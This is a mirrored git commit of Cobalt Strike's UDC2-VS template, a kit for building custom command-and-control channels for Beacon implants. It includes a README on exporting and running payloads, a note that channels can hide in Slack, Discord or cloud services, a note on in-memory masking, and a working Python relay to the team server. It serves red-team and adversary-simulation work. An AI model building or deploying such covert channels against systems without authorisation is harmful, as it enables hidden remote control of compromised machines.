mirror of
https://github.com/Cobalt-Strike/udc2-vs
synced 2026-06-08 10:40:53 +00:00
Basic UDC2-VS Template with TCP example.
This commit is contained in:
@@ -0,0 +1,3 @@
|
||||
[submodule "bof-vs"]
|
||||
path = bof-vs
|
||||
url = https://github.com/Cobalt-Strike/bof-vs
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,103 @@
|
||||
# User-Defined C2 Beacon Object File Visual Studio Template
|
||||
|
||||
This repository contains the User-Defined C2 Beacon Object File Visual Studio (UDC2-VS) Solution. This project is designed to simplify the design, development and debugging of UDC2 BOFs built using the Beacon Object File Visual Studio template ([BOF-VS](https://github.com/Cobalt-Strike/bof-vs)).
|
||||
|
||||
**Note:** This repository assumes familiarity with BOF-VS. The BOF-VS project README contains
|
||||
information about the Dynamic Function Resolution (DFR) macros and helper functions used
|
||||
throughout this project.
|
||||
|
||||
### Prerequisites:
|
||||
|
||||
* An x64 Windows 10/11 development machine (without a security solution)
|
||||
* Visual Studio Community/Pro/Enterprise 2022 (Desktop Development with C++ installed)
|
||||
* Python 3 for the BOF linter (optional) and example UDC2 servers
|
||||
* Network visibility of the team server's UDC2 listener
|
||||
|
||||
## Creating A User-Defined C2 Channel
|
||||
|
||||
A UDC2 channel requires two separate components:
|
||||
|
||||
1. The UDC2 client which must be implemented as a Beacon Object File (BOF)
|
||||
2. The UDC2 server which can be created in any programming language and run independently of the team server, provided it has network visibility of the UDC2 listener.
|
||||
|
||||
A high level architecture of UDC2 is shown here:
|
||||
|
||||
```
|
||||
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
|
||||
│ │ │ │ │ │
|
||||
│ Beacon │ <----> │ UDC2 Server │ <----> │ Team Server │
|
||||
│ [UDC2 BOF] │ │ │ │ │
|
||||
│ │ │ │ │ │
|
||||
└─────────────────┘ └─────────────────┘ └─────────────────┘
|
||||
```
|
||||
|
||||
The Cobalt Strike client will stomp the UDC2 BOF into an exported payload. At runtime, Beacon will call the `go()` entry point of the UDC2 BOF and pass it a pointer to a UDC2_INFO structure. This structure allows the UDC2 BOF to tell Beacon where it can find the core UDC2 functions - `udc2Proxy()` and `udc2Close()`. Beacon will then call `udc2Proxy()` each time it needs to send and receive data, and finally `udc2Close()` when the Beacon exits.
|
||||
|
||||
The udc2-bof-vs solution's default example (udc2_bof.cpp) is a simple TCP channel implementation. It is only intended as a quick start guide to help UDC2 developers get up and running quickly and to understand the concepts behind sending and receiving frame data.
|
||||
|
||||
There are four important functions in this file:
|
||||
|
||||
- go() - The BOF entry point
|
||||
- init() - An init function which can be used to set up/initialize a UDC2 channel
|
||||
- udc2Proxy() - The proxy function called by Beacon each time it needs to send and receive data
|
||||
- udc2Close() - A function for cleanup tasks like freeing any memory, closing connections, etc, which is called by Beacon when it is about to exit
|
||||
|
||||
### Understanding Beacon Frames
|
||||
|
||||
Beacon sends and receives data in encrypted frames. A frame is simply a buffer of data that contains a 4-byte little endian packed length value followed by the raw encrypted buffer. When Beacon calls your `udc2Proxy` function, it will pass a complete frame to you in the `sendBuf` parameter. This outbound frame simply needs to be sent out over your protocol as is. When your UDC2 server gets the response from the Team Server, it will also be in frame format and needs to be written back via the `recvBuf` parameter of your `udc2Proxy` function in that format as well. Do not strip off the packed length value when writing the data back to the read buffer. Problems with frame data formatting are going to be the most likely single biggest source of failure when designing your UDC2 implementation, so always double check that first.
|
||||
|
||||
## UDC2 Server Quick Start Guide
|
||||
|
||||
The UDC2 server acts as a relay between your UDC2 BOF and the Cobalt Strike Team Server. It is responsible for unwrapping Beacon frames from your chosen protocol and sending those directly to the Team Server. If you are creating an HTTP channel for example, your UDC2 server would function as your HTTP endpoint and handle HTTP requests from your UDC2 BOF.
|
||||
|
||||
To build a UDC2 server:
|
||||
|
||||
1. Decide on which language best suits your needs
|
||||
2. Implement your protocol handler
|
||||
3. For EACH Beacon that connects to your UDC2 server, you MUST establish a new TCP connection to your UDC2 listener on the Team Server to relay the frame data
|
||||
4. Each new TCP session that is established with the UDC2 listener requires that you first send a "go" frame to start the session. See the tcp_udc2_server.py script for an example.
|
||||
5. Once a new session is established, send the frame data you received from your Beacon to the UDC2 listener, and transfer the frame data you receive in the response back to your UDC2 BOF
|
||||
|
||||
## Debug Build Quick Start Guide
|
||||
|
||||
The `Debug` target builds the UDC2 BOF as an executable, which provides the convenience of debugging it directly within Visual Studio with its built-in debugger. This makes it possible to work at the source code level without running the BOF through a Beacon.
|
||||
|
||||
**Note**: The `Debug` build's `Main()` function is not designed to replicate the UDC2 server component. Instead, it retrieves a Beacon payload and runs it within the `Debug` executable to act as a shim between the Beacon payload and the UDC2 client. This makes it possible to properly simulate a live environment. Do not re-use functions that are part of this debugging setup as they are designed specifically for that scenario. Refer to the example code instead.
|
||||
|
||||
To start Debugging:
|
||||
|
||||
1. Configure a "Debug only" UDC2 listener in the Cobalt Strike client
|
||||
2. Start the TCP UDC2 server python script which is in the same folder as the Visual Studio solution - `python3 tcp_udc2_server.py --bind-addr <addr to bind to> --bind-port <port to listen on> --ts-addr <team server addr> --ts-port <udc2 debug listener port>`
|
||||
3. Set the `gUDC2Server` and `gUDC2ServerPort` variables in udc2_bof.cpp to your UDC2 server bind address and port
|
||||
4. Set the `UDC2_DEBUG_HOST` and `UDC2_DEBUG_PORT` variables in the debug main function (used to retrieve a debug payload from the UDC2 listener)
|
||||
5. Click "Local Windows Debugger"
|
||||
|
||||
## Release Build Quick Start Guide
|
||||
|
||||
The `Release` target builds the UDC2 BOF into an object file for use in Cobalt Strike. You can build both x86 and x64 versions of the BOF.
|
||||
|
||||
To start using your UDC2 BOF:
|
||||
|
||||
1. Set the `gUDC2Server` and `gUDC2ServerPort` variables in udc2_bof.cpp to the address you will bind your UDC2 server to and the port you will use
|
||||
2. Build the UDC2 BOF for `Release`
|
||||
3. Create a new UDC2 listener in the Cobalt Strike client (make sure "Debug Only" is not checked) and specify the full path to your UDC2 object file that you just built
|
||||
4. Start the TCP UDC2 server python script which is in the same folder as the Visual Studio solution - `python3 tcp_udc2_server.py --bind-addr <addr to bind to> --bind-port <port to listen on> --ts-addr <team server addr> --ts-port <udc2 listener port>` making sure that the bind address and bind port match what you set in step 1
|
||||
5. Export a payload from your Cobalt Strike client that uses your newly created UDC2 listener from step 3
|
||||
6. Run your payload
|
||||
|
||||
## FAQ
|
||||
|
||||
- **What kind of C2 channels can I create with UDC2?**
|
||||
It is possible to create C2 channels over files, ICMP, HTTP, Slack, Discord, Azure, AWS, etc. If you can build a transport for it in your UDC2 BOF, it can work as a C2 channel.
|
||||
- **Can I use a round-robin approach to UDC2 and have Beacon try multiple UDC2 BOFs until it establishes a connection?**
|
||||
Currently this is not supported, however it may be implemented in a future release
|
||||
- **Do UDC2 payloads link in specific Windows libraries for comms?**
|
||||
By default, the only comms library that the UDC2 payload will be linked against is WS2_32. If you need to utilize other Windows libraries such as WinINet for HTTP comms, you can use dynamic function resolution in your BOF
|
||||
- **Is there a size limit to UDC2 BOFs?**
|
||||
Yes, BOFs are currently limited to roughly 32 KB. This should be sufficient for most C2 implementations, however depending on usage and feedback, it may be increased.
|
||||
- **Can I adjust the size of the buffer pointed to by recvBuf to accommodate larger data transfers**
|
||||
Yes, that value is controlled via the `tasks_max_size` malleable c2 profile setting and by default starts at 1 MB
|
||||
- **Can I link UDC2 Beacons in a P2P way?**
|
||||
Currently this is not supported, however it is possible that this will be added in a future release.
|
||||
- **Is my UDC2 BOF exposed in memory when Beacon is sleeping?**
|
||||
No, Beacon will mask the UDC2 BOF before it calls into its own sleepmask.
|
||||
Submodule
+1
Submodule bof-vs added at 42517d33fe
@@ -0,0 +1,205 @@
|
||||
import socket
|
||||
import struct
|
||||
import argparse
|
||||
import threading
|
||||
from typing import Optional
|
||||
|
||||
def send_frame(sock: socket.socket, payload: bytes) -> None:
|
||||
"""Send a frame with 4-byte length prefix followed by payload."""
|
||||
length = len(payload)
|
||||
frame = struct.pack('<I', length) + payload
|
||||
sock.sendall(frame)
|
||||
|
||||
def receive_frame(sock: socket.socket) -> bytes:
|
||||
"""Receive a frame: 4-byte length prefix followed by payload."""
|
||||
length_bytes = sock.recv(4)
|
||||
if len(length_bytes) != 4:
|
||||
raise ConnectionError("Failed to read frame length")
|
||||
length = struct.unpack('<I', length_bytes)[0]
|
||||
payload = b''
|
||||
while len(payload) < length:
|
||||
chunk = sock.recv(length - len(payload))
|
||||
if not chunk:
|
||||
raise ConnectionError("Connection closed while reading payload")
|
||||
payload += chunk
|
||||
|
||||
return length_bytes + payload
|
||||
|
||||
def parse_arguments() -> argparse.Namespace:
|
||||
"""Parse command line arguments for server configuration."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description='UDC2 TCP Server - Relay frames between Beacon and TeamServer',
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog='''
|
||||
Examples:
|
||||
%(prog)s --bind-addr 0.0.0.0 --bind-port 8443 --ts-addr 192.168.1.100 --ts-port 2222
|
||||
'''
|
||||
)
|
||||
|
||||
# TeamServer connection settings
|
||||
parser.add_argument(
|
||||
'--ts-addr', '--teamserver-address',
|
||||
default='127.0.0.1',
|
||||
help='TeamServer IP address or hostname (default: %(default)s)'
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
'--ts-port', '--teamserver-port',
|
||||
type=int,
|
||||
default=2222,
|
||||
help='TeamServer port number (default: %(default)d)'
|
||||
)
|
||||
|
||||
# Bind settings for incoming connections
|
||||
parser.add_argument(
|
||||
'--bind-addr', '--bind-address',
|
||||
default='127.0.0.1',
|
||||
help='Local IP address to bind for incoming connections (default: %(default)s)'
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
'--bind-port', '--bind-port',
|
||||
type=int,
|
||||
default=8443,
|
||||
help='Local port to bind for incoming connections (default: %(default)d)'
|
||||
)
|
||||
|
||||
# Additional options
|
||||
parser.add_argument(
|
||||
'--verbose', '-v',
|
||||
action='store_true',
|
||||
help='Enable verbose logging'
|
||||
)
|
||||
|
||||
return parser.parse_args()
|
||||
|
||||
def handle_client_connection(client_socket: socket.socket, client_address: tuple, args: argparse.Namespace) -> None:
|
||||
"""Handle a single client connection by proxying data to/from the TeamServer."""
|
||||
if args.verbose:
|
||||
print(f"[+] New client connection from {client_address}")
|
||||
|
||||
try:
|
||||
# Connect to TeamServer
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as ts_socket:
|
||||
try:
|
||||
ts_socket.connect((args.ts_addr, args.ts_port))
|
||||
if args.verbose:
|
||||
print(f"[+] Connected to TeamServer at {args.ts_addr}:{args.ts_port}")
|
||||
except (ConnectionError, socket.error) as e:
|
||||
print(f"[-] Failed to connect to TeamServer {args.ts_addr}:{args.ts_port}: {e}")
|
||||
return
|
||||
|
||||
# Send initial "go" frame
|
||||
send_frame(ts_socket, b"go")
|
||||
if args.verbose:
|
||||
print("[*] Sent initial 'go' frame")
|
||||
|
||||
# Proxy loop: relay frames between client and TeamServer
|
||||
while True:
|
||||
try:
|
||||
# Receive frame from client
|
||||
client_frame = receive_frame(client_socket)
|
||||
if args.verbose:
|
||||
print(f"[+] Received {len(client_frame)} bytes from client")
|
||||
|
||||
# Forward frame to TeamServer
|
||||
ts_socket.sendall(client_frame)
|
||||
if args.verbose:
|
||||
print(f"[+] Sent {len(client_frame)} bytes to TeamServer")
|
||||
|
||||
# Receive response from TeamServer
|
||||
ts_response = receive_frame(ts_socket)
|
||||
if args.verbose:
|
||||
print(f"[+] Received {len(ts_response)} bytes from TeamServer")
|
||||
|
||||
# Forward response back to client
|
||||
client_socket.sendall(ts_response)
|
||||
if args.verbose:
|
||||
print(f"[+] Sent {len(ts_response)} bytes back to client")
|
||||
|
||||
except ConnectionError:
|
||||
if args.verbose:
|
||||
print(f"[*] Connection closed by client {client_address}")
|
||||
break
|
||||
except Exception as e:
|
||||
print(f"[-] Error in proxy loop for {client_address}: {e}")
|
||||
break
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] Error handling client {client_address}: {e}")
|
||||
finally:
|
||||
try:
|
||||
client_socket.close()
|
||||
except:
|
||||
pass
|
||||
if args.verbose:
|
||||
print(f"[*] Closed connection to {client_address}")
|
||||
|
||||
|
||||
def main() -> Optional[int]:
|
||||
# Parse command line arguments
|
||||
args = parse_arguments()
|
||||
|
||||
if args.verbose:
|
||||
print(f"UDC2 TCP Server Configuration:")
|
||||
print(f" Bind Address: {args.bind_addr}:{args.bind_port}")
|
||||
print(f" TeamServer: {args.ts_addr}:{args.ts_port}")
|
||||
print(f" Starting TCP proxy server...")
|
||||
|
||||
# Create and configure server socket
|
||||
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
|
||||
try:
|
||||
# Bind to the specified address and port
|
||||
server_socket.bind((args.bind_addr, args.bind_port))
|
||||
server_socket.listen(5) # Allow up to 5 queued connections
|
||||
|
||||
# Set a timeout so accept() doesn't block indefinitely
|
||||
server_socket.settimeout(1.0) # 1 second timeout
|
||||
|
||||
print(f"[*] UDC2 TCP Server listening on {args.bind_addr}:{args.bind_port}")
|
||||
print(f"[*] Forwarding to TeamServer at {args.ts_addr}:{args.ts_port}")
|
||||
print(f"[*] Press Ctrl+C to stop the server")
|
||||
|
||||
while True:
|
||||
try:
|
||||
# Accept incoming client connection
|
||||
client_socket, client_address = server_socket.accept()
|
||||
print(f"[*] Accepted connection from {client_address}")
|
||||
|
||||
# Handle each client in a separate thread
|
||||
client_thread = threading.Thread(
|
||||
target=handle_client_connection,
|
||||
args=(client_socket, client_address, args),
|
||||
daemon=True
|
||||
)
|
||||
client_thread.start()
|
||||
|
||||
except socket.timeout:
|
||||
# Timeout is expected, just continue the loop to check for KeyboardInterrupt
|
||||
continue
|
||||
except Exception as e:
|
||||
print(f"[-] Error accepting connection: {e}")
|
||||
continue
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print("\n[*] Shutting down server...")
|
||||
except Exception as e:
|
||||
print(f"[-] Failed to start server: {e}")
|
||||
return 1
|
||||
finally:
|
||||
server_socket.close()
|
||||
if args.verbose:
|
||||
print("[*] Server socket closed")
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
exit_code = main()
|
||||
exit(exit_code or 0)
|
||||
except (ConnectionError, socket.error) as e:
|
||||
print(f"Error: {e}")
|
||||
exit(1)
|
||||
@@ -0,0 +1,37 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.5.33414.496
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "udc2-bof-vs", "udc2-bof-vs\udc2-bof-vs.vcxproj", "{58EBEE7C-B0CF-49E3-AE82-E60750C03613}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
UnitTest|x64 = UnitTest|x64
|
||||
UnitTest|x86 = UnitTest|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x64.Build.0 = Debug|x64
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x86.Build.0 = Debug|Win32
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x64.ActiveCfg = Release|x64
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x64.Build.0 = Release|x64
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x86.ActiveCfg = Release|Win32
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x86.Build.0 = Release|Win32
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x64.ActiveCfg = UnitTest|x64
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x64.Build.0 = UnitTest|x64
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x86.ActiveCfg = UnitTest|Win32
|
||||
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x86.Build.0 = UnitTest|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {05614438-CD94-4CA7-899A-327C067C1C3B}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,51 @@
|
||||
CFLAGS=/c /GS- /std:c++20 /D_HAS_EXCEPTIONS=0 /GR-
|
||||
DEBUGCFLAGS=/Zi /MTd /D_DEBUG /EHsc /std:c++20
|
||||
PYTHON=python
|
||||
|
||||
!IF "$(PROCESSOR_ARCHITECTURE)" != "x86" && "$(PROCESSOR_ARCHITECTURE)" != "AMD64"
|
||||
!ERROR Only x86 and AMD64 architectures are supported or the PROCESSOR_ARCHITECTURE environment variable is not set.
|
||||
!ELSEIF "$(PROCESSOR_ARCHITECTURE)" == "AMD64"
|
||||
OUTDIR=..\x64\Release\
|
||||
IMDIR=x64\Release\
|
||||
DOUTDIR=..\x64\Debug\
|
||||
DIMDIR=x64\Debug\
|
||||
OUTEXT=.x64.o
|
||||
!ELSE
|
||||
OUTDIR=..\Release\
|
||||
IMDIR=Release\
|
||||
DIMDIR=Debug\
|
||||
DOUTDIR=..\Debug\
|
||||
OUTEXT=.x86.o
|
||||
!ENDIF
|
||||
|
||||
|
||||
all: *.cpp
|
||||
@$(MAKE) /A $(patsubst %.c,%.obj, $(patsubst %.cpp, %.obj, $(patsubsti %, $(IMDIR)\%, $**)))
|
||||
|
||||
@if not exist "$(OUTDIR)" mkdir "$(OUTDIR)"
|
||||
copy "$(IMDIR)\*.obj" "$(OUTDIR)"
|
||||
del /F "$(OUTDIR)\*$(OUTEXT)"
|
||||
ren "$(OUTDIR)*.obj" "*$(OUTEXT)"
|
||||
|
||||
all-debug: *.cpp
|
||||
@$(MAKE) /A $(patsubst %.c,%.exe, $(patsubst %.cpp, %.exe, $(patsubsti %, $(DOUTDIR)\%, $**)))
|
||||
|
||||
.cpp{$(IMDIR)}.obj:
|
||||
@if not exist "$(IMDIR)" mkdir "$(IMDIR)"
|
||||
$(CPP) $(CFLAGS) /Fo"$@" $<
|
||||
|
||||
@(where $(PYTHON) >nul 2>nul \
|
||||
&& $(PYTHON) --version >nul 2>nul \
|
||||
|| (echo [*] Install Python to enable boflint && exit /b 0) \
|
||||
) && $(PYTHON) utils\boflint.py --logformat vs --loader cs "$@"
|
||||
|
||||
.cpp{$(DOUTDIR)}.exe:
|
||||
@if not exist "$(DIMDIR)" mkdir "$(DIMDIR)"
|
||||
@if not exist "$(DOUTDIR)" mkdir "$(DOUTDIR)"
|
||||
$(CPP) $(DEBUGCFLAGS) /Fo$(DIMDIR) /Fd$(DIMDIR) /Fe"$@" $<
|
||||
|
||||
clean:
|
||||
@if exist "$(DIMDIR)" rmdir /Q /S "$(DIMDIR)"
|
||||
@if exist "$(IMDIR)" rmdir /Q /S "$(IMDIR)"
|
||||
@if exist "$(OUTDIR)" rmdir /Q /S "$(OUTDIR)"
|
||||
@if exist "$(DOUTDIR)" rmdir /Q /S "$(DOUTDIR)"
|
||||
@@ -0,0 +1,14 @@
|
||||
#ifdef __cplusplus
|
||||
#ifndef _DEBUG
|
||||
#define DFR(module, function) \
|
||||
DECLSPEC_IMPORT decltype(function) module##$##function;
|
||||
|
||||
#define DFR_LOCAL(module, function) \
|
||||
DECLSPEC_IMPORT decltype(function) module##$##function; \
|
||||
decltype(module##$##function) * function = module##$##function;
|
||||
#else
|
||||
#define DFR_LOCAL(module, function)
|
||||
#define DFR(module, function) \
|
||||
decltype(function) *module##$##function = function;
|
||||
#endif // end of _DEBUG
|
||||
#endif // end of __cplusplus
|
||||
@@ -0,0 +1,247 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
